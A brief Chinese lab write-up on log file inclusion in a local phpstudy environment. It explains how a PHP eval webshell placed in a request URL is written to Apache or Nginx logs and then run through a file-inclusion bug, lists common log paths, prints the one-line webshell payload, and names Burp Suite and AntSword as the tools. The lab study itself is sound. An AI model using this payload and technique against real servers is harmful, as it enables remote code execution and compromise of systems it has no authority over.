phpstudy实验日志包含
日志包含
日志包含其实也属于文件包含的一个小分支,当我们能包含一些文件,但是有种种限制的时候,我们就可以进行包含日志的操作
原理
日志包含需要Apache服务器或者Nginx服务器开启日志记录
原理主要是无论你是否访问成功,日志中都会记录下你的访问信息,所以在url中写入一句话木马会记录在日志中,再配合文件包含漏洞以二进制的方式读取日志文件,就可以用antsword连接
日志的路径一般为:
Apache服务器日志路径/var/log/apache/access.log
Nginx服务器/var/log/nginx/access.log和/var/log/nginx/error.log
一些常见的日志目录为 /var/log/apache/access.log /var/log/apache/error.log /var/log/apache2/access.log /var/log/apache2/error.log /usr/local/apache2/logs/access.log /usr/local/apache2/logs/error.log /var/www/logs/error.log /var/www/logs/access.log /etc/httpd/logs/access_log /etc/httpd/logs/error_log
⼀般情况下⽇志存储⽬录会被修改,需要读取服务器配置⽂件 (httpd.conf,nginx.conf…..)或者根据phpinfo()中的信息来得知;⽇志记录的信息都可以被调整, ⽐如记录报错的等级,或者内容格式。 ⽽ /etc/apache2/envvars ⽂件是 apache 程序的参数配置⽂件,包括 log 路径,程序使⽤的 ⽤户名等。通过查看此⽂件可以找到⽇志⽂件到底在什么地⽅。
具体实验
源代码如图
使用phpstudy实验开启日志
日志路径
包含成功
之后写入一句话木马
http://127.0.0.1/include_file.php?a=<?php @eval($_POST['attack']);?>
为了方便实验我清空了error.log
需要注意的一点是需要使用burpsuit传入来避免url编码,写入一句话木马之后用antsword连接即可